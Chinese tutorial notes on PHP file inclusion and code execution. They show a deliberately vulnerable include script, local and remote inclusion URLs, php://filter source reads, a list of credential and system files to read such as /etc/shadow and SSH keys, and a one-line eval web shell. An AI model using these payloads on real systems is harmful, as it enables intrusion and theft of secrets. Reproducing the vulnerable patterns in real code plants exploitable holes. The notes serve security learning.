某教程学习笔记(一):17、php漏洞

简介: 某教程学习笔记(一):17、php漏洞

一、文件包含漏洞

1、常见包含函数

include(),require(),include_once(),require_once()

2、本地文件包含,新建一个include.php文件,里面输入

<?php $test=$_GET['c']; include($test); ?>

3、再新建一个test.txt文件,里面输入:<?php phpinfo()?>

4、访问192.168.171.128/include.php?c=test.txt

0a2653c851af460fa595bd959398a8f1.png

5、读取敏感目录文件

0eacb84100b54626af849e6b562bf92a.png

windows:

C:\boot.ini //查看系统版本

C:\WINDOWS\system32\inetsrvMetaBase.xml //IIS配置文件

C:\WINDOWS\repair\sam //存储系统初次安装的密码

C:\WINDOWS\php.ini //php配置信息

C:\WINDOWS\my.ini //mysql配置信息

linux:

/root/.ssh/authorized_keys

/root/.ssh/id_rsa

/root/.ssh/id_rsa.keystore

/root/.ssh/known_hosts

/etc/passwd

/etc/shadow

/etc/my.cnf

/etc/httpd/conf/httpd.conf

/root/.bash_history

/root/.mysql_history

/proc/mounts

/proc/config.gz

二、远程文件包含

1、将上面新建的test.txt文件放到另一台服务器上192.168.1.103

2、访问 http://192.168.171.128/include.php?c=http://192.168.1.103/test.txt

2d65d23f6d4748949b924e4057485923.png

确保php.ini中allow_url_fopen和allow_url_include要为On

三、伪协议利用读取php文件的源码

1、读取test.php文件结果如下

0a2653c851af460fa595bd959398a8f1.png

2、通过伪协议可以获取test.php的源码

http://192.168.171.128/include.php?c=php://filter/read=convert.base64-encode/resource=test.php

0eacb84100b54626af849e6b562bf92a.png

base64解码以后,获取文件源码

2e9b90b2ca334476abebe75bafe6eeaa.png

四、代码执行漏洞

1、常见代码执行函数

eval()/assert()/system()/exec()/shell_exec()/passthru()/escapesshellcmd()/pcntl_exec()

例如:<?php eval($_POST[a];?>

2、 获取ip相关信息

http://192.168.171.128/test.php?a=system(‘ipconfig’);

0a2653c851af460fa595bd959398a8f1.png

3、动态代码执行

新建test.php,内容为:

<?php $a=$_GET['a']; $b=$_GET['b']; $a($b); ?>

访问: http://192.168.171.128/test.php?a=system&b=ipconfig

0eacb84100b54626af849e6b562bf92a.png

禁止非法,后果自负

目录
相关文章
|
2月前
|
存储 Java 数据库连接
php学习笔记-代码基本语法-day01
本文是关于PHP编程语言的基础语法学习笔记,内容包括PHP的介绍、注释风格、数据类型、命名规范、常量和变量的使用,以及变量和常量相关的常用函数。文中详细解释了PHP的基本语法元素和一些易混淆的概念,如传值赋值与传址赋值、可变变量,以及如何检查变量是否已定义或为空。
php学习笔记-代码基本语法-day01
|
2月前
|
JavaScript 前端开发 安全
php学习笔记-普通表单参数提交获取及页面的重定向和一个登录小demo-day05
本文介绍了PHP中普通表单参数的提交获取、页面重定向的方法,并通过一个登录示例演示了表单参数的封装和页面跳转处理。
|
18天前
|
XML 安全 PHP
PHP与SOAP Web服务开发:基础与进阶教程
本文介绍了PHP与SOAP Web服务的基础和进阶知识,涵盖SOAP的基本概念、PHP中的SoapServer和SoapClient类的使用方法,以及服务端和客户端的开发示例。此外,还探讨了安全性、性能优化等高级主题,帮助开发者掌握更高效的Web服务开发技巧。
|
2月前
|
存储 缓存 数据处理
php学习笔记-php会话控制,cookie,session的使用,cookie自动登录和session 图书上传信息添加和修改例子-day07
本文介绍了PHP会话控制及Web常用的预定义变量,包括`$_REQUEST`、`$_SERVER`、`$_COOKIE`和`$_SESSION`的用法和示例。涵盖了cookie的创建、使用、删除以及session的工作原理和使用,并通过图书上传的例子演示了session在实际应用中的使用。
php学习笔记-php会话控制,cookie,session的使用,cookie自动登录和session 图书上传信息添加和修改例子-day07
|
2月前
|
存储 API PHP
php学习笔记-php数组的创建和使用,数组常用函数-day03
关于PHP数组的创建、使用以及常用函数的详细学习笔记。
php学习笔记-php数组的创建和使用,数组常用函数-day03
|
2月前
|
JavaScript Java PHP
php学习笔记-php运算符,类型转换,打印输出语句相较于其他语言的特殊部分-day02
本文是第二天的PHP学习笔记,涵盖了PHP中运算符的使用、类型转换方式,以及打印输出语句的特点,展示了其相较于其他编程语言的一些特殊之处。
php学习笔记-php运算符,类型转换,打印输出语句相较于其他语言的特殊部分-day02
|
1月前
|
tengine 应用服务中间件 Linux
Tengine、Nginx安装PHP命令教程
要在阿里云Linux上安装PHP,请先更新YUM源并启用PHP 8.0仓库,然后安装PHP及相关扩展。通过`php -v`命令验证安装成功后,需修改Nginx配置文件以支持PHP,并重启服务。最后,创建`phpinfo.php`文件测试安装是否成功。对于CentOS系统,还需安装EPEL源和Remi仓库,其余步骤类似。完成上述操作后,可通过浏览器访问`http://IP地址/phpinfo.php`测试安装结果。
|
2月前
|
PHP Windows
thinkPhP6.0安装教程图解--PHP框架安装
本文是一篇关于ThinkPHP 6.0安装教程的图解,包括环境检查、安装Composer、修改Composer镜像地址、安装ThinkPHP框架以及启动运行ThinkPHP的步骤。文章详细描述了每个步骤的操作方法,并提供了相应的命令和截图,帮助用户理解并顺利完成ThinkPHP 6.0的安装和运行。
thinkPhP6.0安装教程图解--PHP框架安装
|
2月前
|
SQL 关系型数据库 MySQL
php学习笔记-连接操作mysq数据库(基础)-day08
本文介绍了PHP中连接操作MySQL数据库的常用函数,包括连接服务器、设置字符集、关闭连接、选择数据库、结果集释放、获取影响行数以及遍历结果集等操作。通过书籍查询的实例演示了如何使用这些函数进行数据库操作,并提供了一个PHP操纵MySQL数据库的模板。
php学习笔记-连接操作mysq数据库(基础)-day08
|
2月前
|
前端开发 PHP
php学习笔记-php文件表单上传-day06
本文介绍了PHP文件上传处理流程、预定义变量`$_FILES`的使用、文件上传状态代码以及文件上传实现函数。同时,通过一个文件上传的小例子,演示了文件上传表单的创建、文件上传表单处理的PHP页面编写以及运行测试输出。
php学习笔记-php文件表单上传-day06